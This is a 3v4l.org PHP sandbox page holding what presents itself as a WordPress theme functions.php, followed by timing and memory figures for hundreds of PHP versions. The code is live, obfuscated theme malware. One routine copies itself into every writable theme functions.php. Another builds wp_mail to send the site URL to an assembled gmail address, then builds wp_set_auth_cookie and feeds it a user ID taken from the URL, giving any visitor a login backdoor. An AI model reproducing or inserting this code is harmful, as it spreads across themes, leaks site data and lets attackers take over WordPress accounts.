3v4l.org

run code in 300+ PHP versions simultaneously
<?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', )); function my_function_admin_bar(){ return false; } add_filter( 'show_admin_bar' , 'my_function_admin_bar'); add_filter('the_content', 'my_nofollow'); add_filter('the_excerpt', 'my_nofollow'); function my_nofollow($content) { return preg_replace_callback('/<a[^>]+/', 'my_nofollow_callback', $content); } function my_nofollow_callback($matches) { $link = $matches[0]; $site_link = get_bloginfo('url'); if (strpos($link, 'rel') === false) { $link = preg_replace("%(href=\S(?!$site_link))%i", 'rel="nofollow" $1', $link); } elseif (preg_match("%href=\S(?!$site_link)%i", $link)) { $link = preg_replace('/rel=\S(?!nofollow)\S*/i', 'rel="nofollow"', $link); } return $link; } add_action('init', 'remheadlink'); function remheadlink() { remove_action('wp_head', 'rsd_link'); remove_action('wp_head', 'wlwmanifest_link'); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00316.63
8.3.50.0060.01122.10
8.3.40.0080.00818.95
8.3.30.0130.00618.96
8.3.20.0050.00320.37
8.3.10.0050.00323.65
8.3.00.0050.00319.91
8.2.180.0090.00618.67
8.2.170.0160.00722.96
8.2.160.0140.00019.41
8.2.150.0030.00524.18
8.2.140.0040.00424.66
8.2.130.0080.00020.95
8.2.120.0060.00326.35
8.2.110.0040.00420.54
8.2.100.0000.01218.18
8.2.90.0040.00419.17
8.2.80.0060.00317.97
8.2.70.0030.00617.75
8.2.60.0030.00618.15
8.2.50.0030.00618.07
8.2.40.0080.00019.58
8.2.30.0000.00820.70
8.2.20.0050.00317.90
8.2.10.0040.00418.20
8.2.00.0030.00518.31
8.1.280.0120.00325.92
8.1.270.0170.00319.13
8.1.260.0000.00828.09
8.1.250.0030.00528.09
8.1.240.0080.00022.39
8.1.230.0090.00319.32
8.1.220.0000.00817.89
8.1.210.0030.00618.77
8.1.200.0090.00317.60
8.1.190.0000.00917.35
8.1.180.0050.00318.10
8.1.170.0040.00418.96
8.1.160.0000.00720.90
8.1.150.0040.00419.04
8.1.140.0050.00519.72
8.1.130.0000.00717.83
8.1.120.0000.00717.64
8.1.110.0000.00717.47
8.1.100.0040.00417.61
8.1.90.0050.00317.57
8.1.80.0050.00317.46
8.1.70.0020.00517.43
8.1.60.0000.00817.69
8.1.50.0030.00617.70
8.1.40.0040.00417.67
8.1.30.0060.00317.84
8.1.20.0030.00617.77
8.1.10.0030.00517.73
8.1.00.0050.00317.57
8.0.300.0000.00818.77
8.0.290.0090.00017.13
8.0.280.0040.00418.64
8.0.270.0070.00017.53
8.0.260.0000.00717.51
8.0.250.0050.00317.19
8.0.240.0060.00317.12
8.0.230.0040.00417.21
8.0.220.0040.00417.05
8.0.210.0080.00017.18
8.0.200.0030.00317.15
8.0.190.0040.00417.14
8.0.180.0030.00617.05
8.0.170.0050.00317.05
8.0.160.0040.00417.22
8.0.150.0080.00317.19
8.0.140.0080.00017.08
8.0.130.0030.00313.61
8.0.120.0070.00314.77
8.0.110.0060.00314.74
8.0.100.0050.00614.79
8.0.90.0080.00314.72
8.0.80.0090.00414.75
8.0.70.0070.00314.78
8.0.60.0030.00814.76
8.0.50.0070.00414.72
8.0.30.0110.00515.39
8.0.20.0100.00815.93
8.0.10.0070.00414.86
8.0.00.0070.00715.62
7.4.330.0000.00516.89
7.4.320.0040.00416.63
7.4.300.0000.00816.80
7.4.290.0040.00416.60
7.4.280.0060.00316.72
7.4.270.0000.00716.70
7.4.260.0000.00816.71
7.4.250.0080.00314.51
7.4.240.0080.00315.03
7.4.230.0090.00214.50
7.4.220.0120.00214.47
7.4.210.0060.00815.07
7.4.200.0020.00914.47
7.4.190.0110.00213.43
7.4.180.0090.00313.48
7.4.160.0050.00714.51
7.4.150.0040.00814.79
7.4.140.0080.00915.63
7.4.130.0070.00615.01
7.4.120.0090.00515.05
7.4.110.0060.00614.49
7.4.100.0080.00514.50
7.4.90.0070.00614.45
7.4.80.0070.00615.35
7.4.70.0060.00714.48
7.4.60.0080.00414.43
7.4.50.0110.00314.48
7.4.40.0010.01214.51
7.4.30.0090.00514.45
7.4.20.0070.00413.32
7.4.10.0090.00313.44
7.4.00.0060.00513.97
7.3.330.0030.00313.45
7.3.320.0000.00513.32
7.3.310.0070.00314.48
7.3.300.0050.00314.38
7.3.290.0050.00414.49
7.3.280.0070.00815.29
7.3.270.0060.00814.79
7.3.260.0060.00814.38
7.3.250.0100.00615.26
7.3.240.0100.00714.99
7.3.230.0070.00714.55
7.3.220.0070.00513.29
7.3.210.0080.00614.42
7.3.200.0080.00614.37
7.3.190.0080.00814.45
7.3.180.0090.00714.43
7.3.170.0080.00614.35
7.3.160.0070.00414.44
7.3.150.0070.00013.35
7.3.140.0070.00013.41
7.3.130.0030.00513.32
7.3.120.0040.00813.84
7.3.110.0040.00813.87
7.3.100.0070.00713.95
7.3.90.0050.00514.09
7.3.80.0050.00713.85
7.3.70.0070.00414.04
7.3.60.0050.00613.98
7.3.50.0030.00613.96
7.3.40.0080.00113.90
7.3.30.0060.00613.96
7.3.20.0040.01015.63
7.3.10.0020.00915.49
7.3.00.0030.00715.50
7.2.340.0030.00813.35
7.2.330.0090.00614.40
7.2.320.0100.00714.41
7.2.310.0060.00814.57
7.2.300.0120.00514.48
7.2.290.0120.00414.54
7.2.280.0070.00513.35
7.2.270.0040.00913.34
7.2.260.0090.00413.39
7.2.250.0100.00213.41
7.2.240.0070.00513.95
7.2.230.0060.00813.80
7.2.220.0090.00513.86
7.2.210.0080.00613.81
7.2.200.0080.00814.07
7.2.190.0090.00514.06
7.2.180.0080.00714.12
7.2.170.0070.00914.00
7.2.160.0090.00814.06
7.2.150.0100.00615.67
7.2.140.0070.00815.84
7.2.130.0060.00815.85
7.2.120.0090.00515.78
7.2.110.0070.00715.78
7.2.100.0050.00915.85
7.2.90.0080.00615.82
7.2.80.0070.00615.58
7.2.70.0090.00415.71
7.2.60.0100.00515.91
7.2.50.0090.00515.70
7.2.40.0090.00515.75
7.2.30.0080.00515.72
7.2.20.0080.00615.60
7.2.10.0110.00415.88
7.2.00.0030.00916.68
7.1.330.0090.00414.74
7.1.320.0070.00714.73
7.1.310.0080.00414.64
7.1.300.0090.00414.72
7.1.290.0100.00214.71
7.1.280.0060.00914.60
7.1.270.0110.00414.57
7.1.260.0080.00514.76
7.1.250.0060.00614.72
7.1.240.0060.00614.15
7.1.230.0060.00514.25
7.1.220.0060.00614.20
7.1.210.0100.00314.20
7.1.200.0080.00614.65
7.1.190.0110.00114.21
7.1.180.0100.00214.11
7.1.170.0070.00514.22
7.1.160.0100.00214.07
7.1.150.0080.00514.06
7.1.140.0070.00614.05
7.1.130.0040.00914.12
7.1.120.0060.00614.23
7.1.110.0050.00814.20
7.1.100.0110.00714.85
7.1.90.0100.00314.10
7.1.80.0110.00114.18
7.1.70.0060.00515.04
7.1.60.0090.00815.84
7.1.50.0110.00514.98
7.1.40.0050.00814.12
7.1.30.0110.00214.33
7.1.20.0080.00414.07
7.1.10.0070.00414.13
7.1.00.0110.02516.88
7.0.330.0050.00714.07
7.0.320.0100.00113.98
7.0.310.0090.00414.12
7.0.300.0070.00514.14
7.0.290.0110.00114.15
7.0.280.0060.00614.19
7.0.270.0070.00514.09
7.0.260.0090.00314.14
7.0.250.0060.00614.22
7.0.240.0030.00914.23
7.0.230.0100.00214.29
7.0.220.0040.00914.24
7.0.210.0100.00114.18
7.0.200.0070.00515.04
7.0.190.0030.00914.21
7.0.180.0120.00014.13
7.0.170.0070.00614.29
7.0.160.0060.00614.20
7.0.150.0060.00614.22
7.0.140.0080.00514.02
7.0.130.0070.00514.12
7.0.120.0070.00414.26
7.0.110.0080.00514.01
7.0.100.0000.02216.12
7.0.90.0050.01716.03
7.0.80.0070.01516.05
7.0.70.0070.01716.07
7.0.60.0080.01816.12
7.0.50.0090.01416.13
7.0.40.0080.01516.17
7.0.30.0080.01916.06
7.0.20.0050.01716.06
7.0.10.0080.01516.18
7.0.00.0050.01816.17
5.6.400.0050.00612.48
5.6.390.0090.00312.61
5.6.380.0110.00112.45
5.6.370.0060.00612.54
5.6.360.0100.00112.74
5.6.350.0070.00512.65
5.6.340.0080.00412.65
5.6.330.0100.00212.49
5.6.320.0030.00912.62
5.6.310.0090.00312.62
5.6.300.0070.00512.44
5.6.290.0110.00012.63
5.6.280.0090.01115.29
5.6.270.0080.00412.55
5.6.260.0100.00112.53
5.6.250.0070.02415.28
5.6.240.0100.02415.36
5.6.230.0060.01615.43
5.6.220.0060.01715.36
5.6.210.0060.01815.37
5.6.200.0050.02915.54
5.6.190.0080.01615.50
5.6.180.0090.01415.48
5.6.170.0050.02615.56
5.6.160.0100.01215.51
5.6.150.0100.01415.62
5.6.140.0080.02215.56
5.6.130.0060.03215.54
5.6.120.0060.03015.53
5.6.110.0070.03215.56
5.6.100.0090.02215.51
5.6.90.0070.03215.58
5.6.80.0070.03115.19
5.6.70.0040.03015.29
5.6.60.0050.03115.29
5.6.50.0050.02115.31
5.6.40.0070.02915.31
5.6.30.0060.02715.23
5.6.20.0070.03015.23
5.6.10.0070.02815.25
5.6.00.0090.02815.26
5.5.380.0060.01615.24
5.5.370.0080.01415.29
5.5.360.0060.01715.17
5.5.350.0090.01415.31
5.5.340.0060.02615.34
5.5.330.0110.02415.47
5.5.320.0070.01515.35
5.5.310.0070.01915.28
5.5.300.0080.02115.25
5.5.290.0100.02615.41
5.5.280.0080.01515.32
5.5.270.0070.03215.30
5.5.260.0060.02815.37
5.5.250.0090.02715.49
5.5.240.0080.02615.34
5.5.230.0110.02615.27
5.5.220.0070.01715.30
5.5.210.0100.02115.22
5.5.200.0090.02715.11
5.5.190.0060.02215.09
5.5.180.0120.02615.01
5.5.170.0070.00512.36
5.5.160.0100.02514.99
5.5.150.0120.02215.15
5.5.140.0040.03414.99
5.5.130.0100.02414.96
5.5.120.0070.02714.97
5.5.110.0070.01915.01
5.5.100.0110.02115.09
5.5.90.0080.02715.14
5.5.80.0090.02815.20
5.5.70.0080.02915.15
5.5.60.0110.02515.13
5.5.50.0070.02815.09
5.5.40.0090.01715.09
5.5.30.0080.02515.12
5.5.20.0100.02715.14
5.5.10.0070.02915.13
5.5.00.0100.02615.06

preferences:
76.11 ms | 401 KiB | 5 Q